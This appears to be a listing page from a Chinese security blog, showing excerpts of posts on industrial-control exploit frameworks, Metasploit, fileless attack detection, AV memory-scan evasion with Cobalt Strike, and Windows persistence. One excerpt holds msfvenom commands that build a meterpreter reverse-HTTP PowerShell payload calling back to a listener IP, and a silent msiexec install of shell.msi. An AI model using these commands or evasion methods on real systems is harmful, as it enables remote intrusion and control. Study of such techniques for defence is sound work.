上一页 1 ··· 43 44 45 46 47 48 49 50 51 ··· 274 下一页
2022年5月15日
工控系统安全 - 工控ISF(Industrial exploit Framework)是一个基于Python的类似msf的工控系统漏洞利用框架
摘要： 0X01工控系统漏洞存在现状和不足 目前工控系统安全与传统IT系统安全不同有以下几点原因： 一、从安全优先级来说: 1.工控系统网络安全焦点问题是生产过程稳定可靠，强调的是可用性，不能停产，不能发生生产安全事故。 2.工控系统网络通讯协议不同，大量的工控系统采用私有协议。 3.系统运行环境不同，工控 阅读全文
posted @ 2022-05-15 17:54 bonelee 阅读(1494) 评论(0) 推荐(0)
Metasploit各版本对比
摘要： 功能特性 描述 Metasploit Framework Metasploit Community Metasploit Express Metasploit Pro Pricing License 无IP限制 Free Free 收费 收费 用户界面 Web界面 提供友好的web界面，大大提高效率 阅读全文
posted @ 2022-05-15 17:08 bonelee 阅读(262) 评论(0) 推荐(0)
渗透攻击代码共享站点 POC
摘要： 站点名称 网址 数据规模(千)Metasploit www.metasploit.com/modules/ 0.1~1Exploit-db www.exploit-db.com 1~10PacketStorm packetstormsecurity.org 10~100SecurityFocus w 阅读全文
posted @ 2022-05-15 16:58 bonelee 阅读(102) 评论(0) 推荐(0)
2022年5月11日
内存无文件攻击检测——Hunting In Memory，todo，待实践
摘要： Hunting In Memory 作者 Joe Desimone 分享 Editor’s Note: Elastic joined forces with Endgame in October 2019, and has migrated some of the Endgame blog cont 阅读全文
posted @ 2022-05-11 15:57 bonelee 阅读(276) 评论(0) 推荐(0)
使用Cobalt Strike和Gargoyle绕过杀软的内存扫描——todo，待实践，包括一些链接文章
摘要： 使用Cobalt Strike和Gargoyle绕过杀软的内存扫描 https://www.4hou.com/posts/lpkM 丝绸之路 勒索软件 2019-02-20 09:58:17 收藏 导语：本文将主要介绍我在Cobalt Strike的Beacon有效载荷和gargoyle内存扫描规避 阅读全文
posted @ 2022-05-11 14:45 bonelee 阅读(637) 评论(0) 推荐(0)
ESET 无文件攻击检测——内存扫描+AMSI，没有想到，做得也很强
摘要： https://help.eset.com/glossary/zh-CN/technology_network_attack_protection.html?technology_sbap.html 高级内存扫描程序 高级内存扫描程序与漏洞利用阻止程序结合使用以增强对恶意软件的防范，后者旨在通过迷惑 阅读全文
posted @ 2022-05-11 11:50 bonelee 阅读(1202) 评论(0) 推荐(0)
2022年5月9日
一文讲解API网关核心功能——就是nginx，无非加入了安全、流控、转换、版本控制等功能
摘要： 一文讲解API网关核心功能 【编者的话】本文详细讲解了API网关的基础概念，使用场景和核心功能，以及基于API网关核心引擎做的API全生命周期管理功能扩展等，最好再介绍下当前主流的开源API网关引擎。 API网关概述 在微服务架构体系里面，我们一般会使用到微服务网关或叫API网关。 大家都比较清楚， 阅读全文
posted @ 2022-05-09 20:30 bonelee 阅读(1918) 评论(0) 推荐(0)
2022年5月6日
metasploit MSFVenom 生成powershell paylod todo 无文件攻击 msiexec /quiet /qn /i shell.msi
摘要： 写在前面，我自己的操作： kali下： msfvenom -p windows/x64/meterpreter_reverse_http -f psh -o m64.ps1 LHOST=192.168.0.112msfconsole里： msf6 > use exploit/multi/handle 阅读全文
posted @ 2022-05-06 20:59 bonelee 阅读(796) 评论(0) 推荐(0)
PSattack：一个渗透测试中使用的万能框架——还是有些过时啊，属于整合类工具，将其他好用的模块放到一起
摘要： PSattack：一个渗透测试中使用的万能框架 嘶吼RoarTalk 网络安全观察者 导语：这段时间以来，以powershell为载体，大牛们开发出了很多有趣的东西。比如Invoke-Phant0m日志清除器就在其中。这篇文章就是用来讲述一个将这些渗透测试脚本集合起来的框架：PSattack。 什么 阅读全文
posted @ 2022-05-06 16:52 bonelee 阅读(161) 评论(0) 推荐(0)
Window下常见的权限维持方式
摘要： Window下常见的权限维持方式 系统安全 Bypass007 2019-12-10 10,297 在获取服务器权限后，通常会用一些后门技术来维持服务器权限，服务器一旦被植入后门，攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析，知己知彼方能杜绝后门。 0x01 注册表自 阅读全文
posted @ 2022-05-06 16:31 bonelee 阅读(92) 评论(0) 推荐(0)
上一页 1 ··· 43 44 45 46 47 48 49 50 51 ··· 274 下一页